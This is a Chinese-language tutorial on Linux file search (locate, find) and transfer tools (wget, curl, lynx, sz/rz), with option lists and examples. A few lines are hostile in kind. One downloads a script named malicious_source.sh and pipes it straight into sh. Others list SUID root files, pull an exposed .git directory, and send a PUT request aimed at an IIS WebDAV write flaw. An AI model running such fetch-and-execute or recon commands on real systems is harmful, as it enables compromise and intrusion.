[TOC]

0x00 快速入门

命令脑图:
WeiyiGeek.locte与find脑图


0x01 文件查找

locate 命令

描述:在后台数据库中按文件名搜索,速度更快这个数据库是/var/lib/mlocate,它的更新速率默认是一天一次,Linux版本的不同名字不同Mac下在/var/db/locate.datebase; 根据距上次更新后更改的文件数目多少,速度不同并且只能通过文件名来搜索

WeiyiGeek.locate查找原理图

可以使用命令强制更新数据库(/var/lib/mlocate/mlocate.db)

#1.Centos 命令强制更新数据库
updatedb
sudo /usr/libexec/locate.updatedb #Mac 下是


#2.查询命令
locate [filename]


#3.遵守/etc/updatedb.conf配置文件里的筛选规则,所以即使你更新了数据库也不一定能locate到所要寻找的文件
PRUNE_BIND_MOUNTS = "yes" #开启搜索限制
PRUNEFS = "afs udf" #搜索时不搜索的文件系统
PRUNENAMES = ".git .hg" #搜索时不搜索的文件名
PRUNEPATHS = "/afs /tmp" #搜索时不搜索的路径

WeiyiGeek.设置搜寻参数


find 命令

描述:是Linux中最常用搜索文件或者目录的命令,十分强大能从各个维度方面进行搜寻;

#基于语法:
find【搜索范围】【搜索条件】

#参数
-name 按照文件名搜索 #可采用通配符
-iname 文件名不区分大小写
-regex "PATTERN" 通过正则查询

-user
-group
-uid
-gid
-nouser : 查找没有属主的文件
-nogroup :查找没有属组的文件

-type f/d/l/s(套接字)/b/c(字符设备)/p(管道设备) #查询是文件还是目录

-a / o / and / ! #组合条件

-perm -/+MODE(u,g,o) #指定权限

-atime(天)/-amin(分) #访问文件的时间
-ctime/-cmin #改变文件属性的时间
-mtime/-mmin #修改文件内容的时间

-size #文件大小

#动作Active
-print #默认处理动作,显示至屏幕
-ls #类似于对查找的文件执行ls -l命令
-delete #删除查找到文件
-fls /tmp/test.log #存入ls -aihl 格式的到文件
-exec COMMAND {} \;
-ok COMMAND {} \;

#find使用Linux中的通配符是在系统当中搜索符合条件的文件名
#通配符是完全匹配的
* 匹配任意内容(任意多个字符)
? 匹配任意一个字符
[] 匹配任意一个中括号内的字符 x[ab]->xa或者xb
[-] 匹配中括号中任意一个字符,-代表一个范围 例如,[a-z]代表匹配一个小写字母
[^] 逻辑非,表示匹配不是中括号内的一个字符 例如[^0-9]代表匹配一个不是数字的字符

#其他参数:
-print0 #不换行打印find的结果,结果之间采用空格进行分割;

案例示例:

#示例0.可以查看当前目录所有嵌套的文件
find .
find . | grep .txt #使用管道符


#示例1.通过指定文件名称进行搜寻
find / -name 文件名.db *.git
find / -name "ab[cd]" //匹配abc或abd
find / -iname SShd_config #不区分大小查询


#示例2.按文件类型搜寻
find . -type f #只想看到文件
find . -type d #想看到目录
find / -type l -ls # 查找软连接及其指向:

#示例3.按照所有者来搜索
find /root -user root #是找root目录下所有者为root的文件
find /root -nonuser #是找root目录下没有所有者的文件
find / -nogroup -print #查找不属于任何用户组的文件:


#示例4.按照权限搜寻
find / -perm -o=w
find / -uid 0 -perm -4000 #使用 uid 查找对应的程序 SUID
find / -user root -perm -4000 -print #查找 SUID root 文件
find / -group root -perm -2000 -print #查找 SGID root 文件


#示例5.利用组合条件进行搜寻(多条件查询and/or)
find / -perm -4000 -o -perm -2000 -print #查找 为 SUID 或者 为SGID 的文件:
find / \( -not -user root -a -not -name 'fstab' \) -ls #找出tmp目录下,所属主不是root且文件名不是fstab的文件

#示例6.按照时间来搜索
find 【搜索范围】 -(?)time (+/-)时间
find /root -mtime +10 #是查找十天前修改的文件
find /root -mtime -10 #是查找十天内修改的文件
find /root -mtime 10 #是查找第十天修改的文件


#示例7.按照大小来搜索
find 【搜索范围】-size (+/-) *(k/M) #小写k是kB,大写M是MB
find /root -size +10k #是查找root目录下大小大于10kB的文件
find /root -size +10k -o -size 10k #是查找root目录下大小大于或者等于10kB的文件
find /root -size +20k -a -size -50k #查找20~50kB大小的文件
find /root -size -20k -o -size +50 # k查找小于20或者大于50kB的文件


#示例8.按照i节点来搜索
find 【搜索范围】-inum 【-/+ i节点号】 #注意下面括号之间有空格
find / \( -inum +4000000000 -a -inum -4026532147 \) -l #搜寻节点号大于400000000且小于4026532147
find / \( -inum +4000000000 -a -not -inum -4026532147 \) -l #搜寻节点号大于400000000且不下于4026532147


#示例9.-exec/-ok 命令 {} \;用来继续处理搜索到的文件(非常重要)
find /root -size +20k -a -size -50k -exec ls -lh {} \; #查找20~50kB的文件,并列出详细信息
find ./ -name "*****" -exec rm -f {} \; #其中'{}'代表找到的文件,删除满足条件的文件或者目录
find . -type f -exec ls -l '{}' ';'
find . cmin -5 -ok mv {} {}.new \;
find /tmp -nogroup -ok chown root:nobaby {} \; #将查询到的文件所属主和组进行更改

$find . mtime +1 -exec wc -l {} \;
6 ./.nvm/versions/node/v11.12.0/lib/node_modules/pm2/node_modules/pm2-axon-rpc/.travis.yml


#示例10.高阶利用
find /root -name ding*.sh -delete #删除找到的文件
find /root -name ding*y -fls www.txt && cat www.txt #找到文件以长连接格式存入到文件中
139002 4 -rwxr-xr-x 1 root root 994 May 13 22:40 /root/dingding.py


#示例11.不换行显示查找结果
find . -type f -name "*.log" -print0
./var/lib/docker/overlay2/716be24950255cd6668ac1ddbb662f2543d7a8bd6a5feb34d74f3d108ae3262b/diff/usr/lib/node_modules/npm/node_modules/socks/yarn-error.log ./var/log/boot.log ./var/log/tuned/tuned.log


0x02 文件上传下载

sz 与 rz 命令

描述:在debian系列中采用sz和rz命令进行下载或者上传文件到服务器中;

sz remote文件  #下载linux上的文件到本地(debain系列采用)
rz local文件 #上传本地文件到Linux上


wget 命令

描述:用来从指定的URL下载文件,wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。
如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载,这对从那些限定了链接时间的服务器上下载大文件非常有

用法: wget [选项]... [URL]...
Options:长选项所必须的参数在使用短选项时也是必须的
#启动:
-b, --background 启动后转入后台。
-e, --execute=COMMAND 运行一个“.wgetrc”风格的命令。

#日志和输入文件:
-o, --output-file=FILE 将日志信息写入 FILE。
-a, --append-output=FILE 将信息添加至 FILE。
-d, --debug 打印大量调试信息。
-q, --quiet 安静模式 (无信息输出)。
-v, --verbose 详尽的输出 (此为默认值)。
-nv, --no-verbose 关闭详尽输出,但不进入安静模式。
-i, --input-file=FILE 下载本地或外部 FILE 中的 URLs。
-F, --force-html 把输入文件当成 HTML 文件。
-B, --base=URL 解析与 URL 相关的HTML 输入文件 (由 -i -F 选项指定)。
--config=FILE Specify config file to use.

#下载:
-t, --tries=NUMBER 设置重试次数为 NUMBER (0 代表无限制)。
--retry-connrefused 即使拒绝连接也是重试。
-O, --output-document=FILE 将文档写入 FILE。
-nc, --no-clobber skip downloads that would download toexisting files (overwriting them).
-c, --continue 断点续传下载文件。
--progress=TYPE 选择进度条类型。
-N, --timestamping 只获取比本地文件新的文件。
--no-use-server-timestamps 不用服务器上的时间戳来设置本地文件。
-S, --server-response 打印服务器响应。
--spider 不下载任何文件。
-T, --timeout=SECONDS 将所有超时设为 SECONDS 秒。
--dns-timeout=SECS 设置 DNS 查寻超时为 SECS 秒。
--connect-timeout=SECS 设置连接超时为 SECS 秒。
--read-timeout=SECS 设置读取超时为 SECS 秒。
-w, --wait=SECONDS 等待间隔为 SECONDS 秒。
--waitretry=SECONDS 在获取文件的重试期间等待 1..SECONDS 秒。
--random-wait 获取多个文件时,每次随机等待间隔0.5*WAIT...1.5*WAIT 秒。
--no-proxy 禁止使用代理。
-Q, --quota=NUMBER 设置获取配额为 NUMBER 字节。
--bind-address=ADDRESS 绑定至本地主机上的 ADDRESS (主机名或是 IP)。
--limit-rate=RATE 限制下载速率为 RATE。
--no-dns-cache 关闭 DNS 查寻缓存。
--restrict-file-names=OS 限定文件名中的字符为 OS 允许的字符。
--ignore-case 匹配文件/目录时忽略大小写。
-4, --inet4-only 仅连接至 IPv4 地址。
-6, --inet6-only 仅连接至 IPv6 地址。
--prefer-family=FAMILY 首先连接至指定协议的地址FAMILY 为 IPv6,IPv4 或是 none。
--user=USER 将 ftp 和 http 的用户名均设置为 USER。
--password=PASS 将 ftp 和 http 的密码均设置为 PASS。
--ask-password 提示输入密码。
--no-iri 关闭 IRI 支持。
--local-encoding=ENC IRI (国际化资源标识符) 使用 ENC 作为本地编码。
--remote-encoding=ENC 使用 ENC 作为默认远程编码。
--unlink remove file before clobber.

#目录:
-nd, --no-directories 不创建目录。
-x, --force-directories 强制创建目录。
-nH, --no-host-directories 不要创建主目录。
--protocol-directories 在目录中使用协议名称。
-P, --directory-prefix=PREFIX 以设置PREFIX/... 保存文件
--cut-dirs=NUMBER 忽略远程目录中 NUMBER 个目录层。

#HTTP 选项:
--http-user=USER 设置 http 用户名为 USER。
--http-password=PASS 设置 http 密码为 PASS。
--no-cache 不在服务器上缓存数据。
--default-page=NAME 改变默认页(默认页通常是“index.html”)。
-E, --adjust-extension 以合适的扩展名保存 HTML/CSS 文档。
--ignore-length 忽略头部的‘Content-Length’区域。
--header=STRING 在头部插入 STRING。
--max-redirect 每页所允许的最大重定向。
--proxy-user=USER 使用 USER 作为代理用户名。
--proxy-password=PASS 使用 PASS 作为代理密码。
--referer=URL 在 HTTP 请求头包含‘Referer: URL’。
--save-headers 将 HTTP 头保存至文件。
-U, --user-agent=AGENT 标识为 AGENT 而不是 Wget/VERSION。
--no-http-keep-alive 禁用 HTTP keep-alive (永久连接)。
--no-cookies 不使用 cookies。
--load-cookies=FILE 会话开始前从 FILE 中载入 cookies。
--save-cookies=FILE 会话结束后保存 cookies 至 FILE。
--keep-session-cookies 载入并保存会话 (非永久) cookies。
--post-data=STRING 使用 POST 方式;把 STRING 作为数据发送。
--post-file=FILE 使用 POST 方式;发送 FILE 内容。
--content-disposition 当选中本地文件名时允许 Content-Disposition 头部 (尚在实验)。
--auth-no-challenge 发送不含服务器询问的首次等待的基本 HTTP 验证信息。

#HTTPS (SSL/TLS) 选项:
--secure-protocol=PR 选择安全协议,可以是 auto、SSLv2、SSLv3 或是 TLSv1 中的一个。
--no-check-certificate 不要验证服务器的证书。
--certificate=FILE 客户端证书文件。
--certificate-type=TYPE 客户端证书类型,PEM 或 DER。
--private-key=FILE 私钥文件。
--private-key-type=TYPE 私钥文件类型,PEM 或 DER。
--ca-certificate=FILE 带有一组 CA 认证的文件。
--ca-directory=DIR 保存 CA 认证的哈希列表的目录。
--random-file=FILE 带有生成 SSL PRNG 的随机数据的文件。
--egd-file=FILE 用于命名带有随机数据的 EGD 套接字的文件。

#FTP 选项:
--ftp-user=USER 设置 ftp 用户名为 USER。
--ftp-password=PASS 设置 ftp 密码为 PASS。
--no-remove-listing 不要删除‘.listing’文件。
--no-glob 不在 FTP 文件名中使用通配符展开。
--no-passive-ftp 禁用“passive”传输模式。
--retr-symlinks 递归目录时,获取链接的文件 (而非目录)。

#递归下载:
-r, --recursive 指定递归下载。
-l, --level=NUMBER 最大递归深度 (inf 或 0 代表无限制,即全部下载)。
--delete-after 下载完成后删除本地文件。
-k, --convert-links 让下载得到的 HTML 或 CSS 中的链接指向本地文件。
-K, --backup-converted 在转换文件 X 前先将它备份为 X.orig。
-m, --mirror -N -r -l inf --no-remove-listing 的缩写形式。
-p, --page-requisites 下载所有用于显示 HTML 页面的图片之类的元素。
--strict-comments 用严格方式 (SGML) 处理 HTML 注释。

#递归接受/拒绝:
-A, --accept=LIST 逗号分隔的可接受的扩展名列表。
-R, --reject=LIST 逗号分隔的要拒绝的扩展名列表。
-D, --domains=LIST 逗号分隔的可接受的域列表
--exclude-domains=LIST 逗号分隔的要拒绝的域列表
--follow-ftp 跟踪 HTML 文档中的 FTP 链接。
--follow-tags=LIST 逗号分隔的跟踪的 HTML 标识列表。
--ignore-tags=LIST 逗号分隔的忽略的 HTML 标识列表。
-H, --span-hosts 递归时转向外部主机。
-L, --relative 只跟踪有关系的链接。
-I, --include-directories=LIST 允许目录的列表。
--trust-server-names use the name specified by the redirection url last component.
-X, --exclude-directories=LIST 排除目录的列表。
-np, --no-parent 不追溯至父目录。

实际案例:

#示例1.下载文件并将重命名到自定位置
wget http://baidu.com/malicious_source.sh -O /tmp/test.sh -o xx.log #-O 重命名下载的文件 记录下载日志方法:使用小写字母o
wget http://baidu.com/malicious_source.sh -P /tmp/ #下载的文件到指定目录
wget -i filelist.txt #下载多个文件指定file
#模拟在浏览器下下载有的网站不允许客户在非浏览器环境下下载。使用--user-agent来设置
wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.linuxde.net/testfile.zip


#示例2.直接下载恶意的源文件,然后使用sh直接执行该脚本。
wget http://baidu.com/malicious_source.sh -O- | sh
wget http://192.168.8.13/article/view.asp -O- | cat #输出文件到标准输出,然后用cat打开.


#示例3.FTP匿名下载
wget ftp://192.168.1.254/document/test.zip
wget --user=admin --password=password ftp://192.168.1.254/document/test.zip #对于FTP账户密码认证


#示例4.#对于HTTPS站点进行下载,下载'dir'目录下的所有gz文件
# -np 没有父目录
# -nd 不要构建本地目录结构
# --accept=gz 只下载gz文件
wget -r -np -nd --accept=gz --no-check-certificate https://www.xxx.com/dir/ --http-user=username --http-password=password
wget -r -np -nd http://tel.mirrors.163.com/centos/6.4/os/x86_64/ # 下载 http://tel.mirrors.163.com/centos/6.4/os/x86_64/ 目录中的所有文件


#示例5.下载一个网站的本地镜像 与 Teleport Pro 相似
wget -c -r --level=1 -k -p -np http://docs.Python.org/2/tutorial/index.html
wget --mirror -p --convert-links -P ./LOCAL-DIR WEBSITE-URL #当你要下载一个完整站点并实现本地浏览的时候,

WeiyiGeek.简单示例

#示例6.连接测试与Response请求查看
wget --spider URL #测试下载连接,正确返回 200 OK,否则错误
wget -S http://192.168.8.13/article/view.asp --spider #打印Response-Head信息
wget -S http://baidu.com/index.html --spider -o test1.log
# 已发出 HTTP 请求,正在等待回应...
# HTTP/1.1 200 OK
# Date: Thu, 27 Jun 2019 08:39:37 GMT
# Server: Apache
# Last-Modified: Sat, 31 Dec 2011 09:54:00 GMT
# ETag: "1cdb-4b56054245e00"
# Accept-Ranges: bytes
# Content-Length: 7387
# Cache-Control: max-age=86400
# Expires: Fri, 28 Jun 2019 08:39:37 GMT
# Connection: Keep-Alive
# Content-Type: text/html
# 长度:7387 (7.2K) [text/html]

wget --tries=40 --reject=gif URL #增加重试次数(当下载大文件的时候)与下载排出过滤
wget -r -A.pdf http://192.168.1.10/ #下载一个网站的指定格式文件,比如下面下载网站中所有的pdf


#示例n,精简利用
wget --mirror --include-directories=/.git http://xxx.com/.git #防止.git目录被下载(值得借鉴),直接下载存在.git目录:>
wget --spider DOWNLOAD-URL #使用--spider试图做计划下载时候,需要先检查一下下载链接是否有效。
wget --limit-rate=300k -c -b URL #限速下载与断点续传(网络中断的时候非常有用)/ 后台下载
wger -Q5m -i filelist.txt #限制下载大于5MB的文件,只要在递归下载时才有效;

WeiyiGeek.spider


curl 命令

描述:利用URL规则在命令行下工作的文件传输工具,它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。
作为一款强力工具,curl支持包括HTTP、HTTPS、FTP等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以祝一臂之力。

语法参数:

curl(选项)(参数)
#参数
-a/--append 上传文件时,附加到目标文件
-A/--user-agent <string> 设置用户代理发送给服务器
-anyauth 可以使用“任何”身份验证方法
-b/--cookie <name=string/file> cookie字符串或文件读取位置
--basic 使用HTTP基本验证
-B/--use-ascii 使用ASCII /文本传输
-c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中
-C/--continue-at <offset> 断点续转
-d/--data <data> HTTP POST方式传送数据
--data-ascii <data> 以ascii的方式post数据
--data-binary <data> 以二进制的方式post数据
--negotiate 使用HTTP身份验证
--digest 使用数字身份验证
--disable-eprt 禁止使用EPRT或LPRT
--disable-epsv 禁止使用EPSV
-D/--dump-header <file> 把header信息写入到该文件中
--egd-file <file> 为随机数据(SSL)设置EGD socket路径
--tcp-nodelay 使用TCP_NODELAY选项
-e/--referer 来源网址
-E/--cert <cert[:passwd]> 客户端证书文件和密码 (SSL)
--cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)
--key <key> 私钥文件名 (SSL)
--key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)
--pass <pass> 私钥密码 (SSL)
--engine <eng> 加密引擎使用 (SSL). "--engine list" for list
--cacert <file> CA证书 (SSL)
--capath <directory> CA目录 (made using c_rehash) to verify peer against (SSL)
--ciphers <list> SSL密码
--compressed 要求返回是压缩的形势 (using deflate or gzip)
--connect-timeout <seconds> 设置最大请求时间
--create-dirs 建立本地目录的目录层次结构
--crlf 上传是把LF转变成CRLF
-f/--fail 连接失败时不显示http错误
--ftp-create-dirs 如果远程目录不存在,创建远程目录
--ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用
--ftp-pasv 使用 PASV/EPSV 代替端口
--ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址
--ftp-ssl 尝试用 SSL/TLS 来进行ftp数据传输
--ftp-ssl-reqd 要求用 SSL/TLS 来进行ftp数据传输
-F/--form <name=content> 模拟http表单提交数据
--form-string <name=string> 模拟http表单提交数据
-g/--globoff 禁用网址序列和范围使用{}和[]
-G/--get 以get的方式来发送数据
-H/--header <line> 自定义头信息传递给服务器
--ignore-content-length 忽略的HTTP头信息的长度
-i/--include 输出时包括protocol头信息
-I/--head 只显示请求头信息
-j/--junk-session-cookies 读取文件进忽略session cookie
--interface <interface> 使用指定网络接口/地址
--krb4 <level> 使用指定安全级别的krb4
-k/--insecure 允许不使用证书到SSL站点
-K/--config 指定的配置文件读取
-l/--list-only 列出ftp目录下的文件名称
--limit-rate <rate> 设置传输速度
--local-port<NUM> 强制使用本地端口号
-m/--max-time <seconds> 设置最大传输时间
--max-redirs <num> 设置最大读取的目录数
--max-filesize <bytes> 设置最大下载的文件总量
-M/--manual 显示全手动
-n/--netrc 从netrc文件中读取用户名和密码
--netrc-optional 使用 .netrc 或者 URL来覆盖-n
--ntlm 使用 HTTP NTLM 身份验证
-N/--no-buffer 禁用缓冲输出
-o/--output 把输出写到该文件中
-O/--remote-name 把输出写到该文件中,保留远程文件的文件名
-p/--proxytunnel 使用HTTP代理
--proxy-anyauth 选择任一代理身份验证方法
--proxy-basic 在代理上使用基本身份验证
--proxy-digest 在代理上使用数字身份验证
--proxy-ntlm 在代理上使用ntlm身份验证
-P/--ftp-port <address> 使用端口地址,而不是使用PASV
-q 作为第一个参数,关闭 .curlrc
-Q/--quote <cmd> 文件传输前,发送命令到服务器
-r/--range <range> 检索来自HTTP/1.1或FTP服务器字节范围
--range-file 读取(SSL)的随机文件
-R/--remote-time 在本地生成文件时,保留远程文件时间
--retry <num> 传输出现问题时,重试的次数
--retry-delay <seconds> 传输出现问题时,设置重试间隔时间
--retry-max-time <seconds> 传输出现问题时,设置最大重试时间
-s/--silent 静默模式。不输出任何东西
-S/--show-error 显示错误
--socks4 <host[:port]> 用socks4代理给定主机和端口
--socks5 <host[:port]> 用socks5代理给定主机和端口
--stderr <file>
-t/--telnet-option <OPT=val> Telnet选项设置
--trace <file> 对指定文件进行debug
--trace-ascii <file> Like --跟踪但没有hex输出
--trace-time 跟踪/详细输出时,添加时间戳
-T/--upload-file <file> 上传文件
--url <URL> Spet URL to work with
-u/--user <user[:password]> 设置服务器的用户和密码
-U/--proxy-user <user[:password]> 设置代理用户名和密码
-w/--write-out [format] 什么输出完成后
-x/--proxy <host[:port]> 在给定的端口上使用HTTP代理
-X/--request <command> 指定什么命令
-y/--speed-time 放弃限速所要的时间,默认为30
-Y/--speed-limit 停止传输速度的限制,速度时间

实际案例:

#示例1.curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作
curl URL --silent #不显示进度信息使用
curl -s -o aaa.jpg http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg # -s与--silent效果相同


#示例2. 使用选项-O将下载的数据写入到文件,必须使用文件的绝对地址
curl http://man.linuxde.net/text.iso --silent -O
# 用-O(大写的),后面的url要具体到某个文件,不然抓不下来。我们还可以用正则来抓取东西
curl -O http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg
curl -O http://blog.51yip.com/wp-content/uploads/2010/[0-9][0-9]/aaaaa.jpg

#选项-o将下载数据写入到指定名称的文件中,并使用--progress显示进度条:
curl http://man.linuxde.net/test.iso -o filename.iso --progress
######################################### 100.0%


#示例3. 断点续传从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件
curl -C 偏移量 URL/File #偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -:
curl -C -URL
curl -C -O http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg
#分段下载
curl -r 0-100 -o img.part1 http://www.baidu.com/logo.png
curl -r 100- -o img.part1 http://www.baidu.com/logo.png


#示例4.常用选项
curl URL --user-agent "Mozilla/5.0" #或者curl URL -A "Mozilla/5.0" 检查用户代理
curl --referer http://www.google.com http://man.linuxde.net #指定参照页字符串:用来表示用户是从哪个页面到达当前页面的
curl URL --limit-rate 50k #限制curl的下载速度: 命令中用k(千字节)和m(兆字节)指定下载速度限制。
curl URL --max-filesize bytes #指定可下载的最大文件大小: 文件大小超出限制命令则返回一个非0退出码否则返回0。

curl -f http://blog.51yip.com/asdf #显示抓取错误
# curl: (22) The requested URL returned error: 404


#示例5.设置头信息与打印返回的头信息
curl -H "Host:man.linuxde.net" -H "accept-language:zh-cn" URL #使用-H"头部信息" 传递多个头部信息
curl -I http://man.linuxde.net #通过-I或者-head可以只打印出HTTP头部信息:
curl -I http://man.linuxde.net 2>/dev/null | head -1 #打印出HTTP头部的状态码信息,不显示连接信息
#HTTP/1.1 200 OK


#示例6.cookie与代理设置
curl http://man.linuxde.net --cookie "user=root;pass=123456" #设置多个cookie使用分号分隔:
curl URL --cookie-jar cookie_file # 将cookie另存为一个文件,使用--cookie-jar选项:

curl -x 24.10.28.84:32779 -o home.html http://blog.51yip.com #代理IP请求


#示例7.登录认证
#完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:
curl -u user:pwd http://man.linuxde.net
curl -u user http://man.linuxde.net

#模拟表单信息,模拟登录,保存cookie信息,-F就是网页中字段名,使用cookie文件
curl -c ./cookie_c.txt -F log=aaaa -F pwd=****** http://blog.51yip.com/wp-login.php
curl -b ./cookie_c.txt http://blog.51yip.com/wp-admin

#保存Header头信息与模拟登录
curl -D Cque.dump --silent http://www.cque.edu.cn >>/dev/null
curl -D ./cookie_D.txt -F log=aaaa -F pwd=****** http://blog.51yip.com/wp-login.php


#示例8.FTP上传下载文件
curl -u 用户名:密码 -O ftp://blog.51yip.com/demo/curtain/bbstudy_files/style.css # ftp下载文件
curl -T test.sql ftp://用户名:密码@ip:port/demo/curtain/bbstudy_files/ #通过ftp上传

WeiyiGeek.示例解决

#示例9.补充
#获取网站的响应码:获取http_code
curl -m 5 -s -w %{http_code} http://www.cqsdzy.com/index.html -o /dev/null/span;echo " "
curl -I -s -o /dev/null -w "%{%http_code} \n" http://127.0.0.1:4050

#指定方法进行与服务器连接(还有:这里用了Put的方法,就是IIS6.0的Dav的写如漏洞)
curl -X PUT "http://**.**.**.**/1123123.jsp/" -d "xxx"

WeiyiGeek.响应码

注意事项:

  • curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用–silent选项


lynx 命令

lynx命令是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息,Linux发行版都没有默认安装,需要您自己下载;

yum install -y lynx

基础语法:

lynx [选项] [参数]  # URL:指定要访问的网站的URL地址。
#选项:
-case:在搜索字符串时,区分大小写;
-ftp:关闭ftp功能;
-nobrowse:关闭目录浏览功能;
-noclor:关闭色彩显示模式;
-reload:更新代理服务器的缓存,只对首页有效;

#内部命令#
#移动命令
* 下方向键:页面上的下一个链接(用高亮度显示)。
* 上方向键:页面上的前一个链接(用高亮度显示)。
* 回车和右方向键:跳转到链接指向的地址。
* 左方向键:回到上一个页面。

#滚动命令
* +、Page-Down、Space、Ctrl+f:向下翻页。
* -、Page-Up、b、Ctrl+b:向上翻页。
* Ctrl+a:移动到当前页的最前面。
* Ctrl+e:移动到当前页的最后面。
* Ctrl+n:向下翻两行。
* Ctrl+p:往回翻两行。
* ):向下翻半页。
* (:往回翻半页。
* \#:回到当前页的 Toolbar 或 Banner。


#文件操作命令
c:建立一个新文件。
d:下载选中的文件。
E:编辑选中的文件。
f:为当前文件显示一个选项菜单。
m:修改选中文件的名字或位置。
r:删除选中的文件。
t:Tag highlighted file。
u:上载一个文件到当前目录。

#其他命令
?、h:帮助。
a:把当前链接加入到一个书签文件里。
c:向页面的拥有者发送意见或建议。
d:下载当前链接。
e:编辑当前文件。
g:跳转到一个用户 指定的URL或文件。
G:编辑当前页的URL,并跳转到这个URL。
i:显示文档索引。
j:执行预先定义的“短”命令。
k:显示键盘命令列表。
l:列出当前页上所有链接的地址。
m:回到首页 。
o:设置选项。
p:把当前页输出到文件,e-mail,打印机或其他地方。
q:退出。
/:在当前页内查找字符串。
s:在外部搜索输入的字符串。
n:搜索下一个。
v:查看一个书签文件。
V:跳转到访问过的地址。
x:不使用缓存。
z:停止当前传输。
[backspace]:跳转到历史页(同 V 命令)。
=:显示当前页的信息。
:查看当前页的源代码。
!:回到shell提示符下。
_:清除当前任务的所有授权信息。
*:图形链接模式的切换开关。
@:8位传输模式或CJK模式的切换开关。
[:pseudo_inlines 模式的切换开关。
]:为当前页或当前链接发送一个“head”请求。
Ctrl+r:重新装如当前页并且刷新屏幕。
Ctrl+w:刷新屏幕。
Ctrl+u:删除输入的行。
Ctrl+g:取消输入或者传送。
Ctrl+t:跟踪模式的切换开关。
;:看Lynx对当前任务的跟踪记录。
Ctrl+k:调用 Cookie Jar 页。
数字键:到后面的第 n 个链接。

实际案例:

lynx https://baidu.com

WeiyiGeek.lynx案例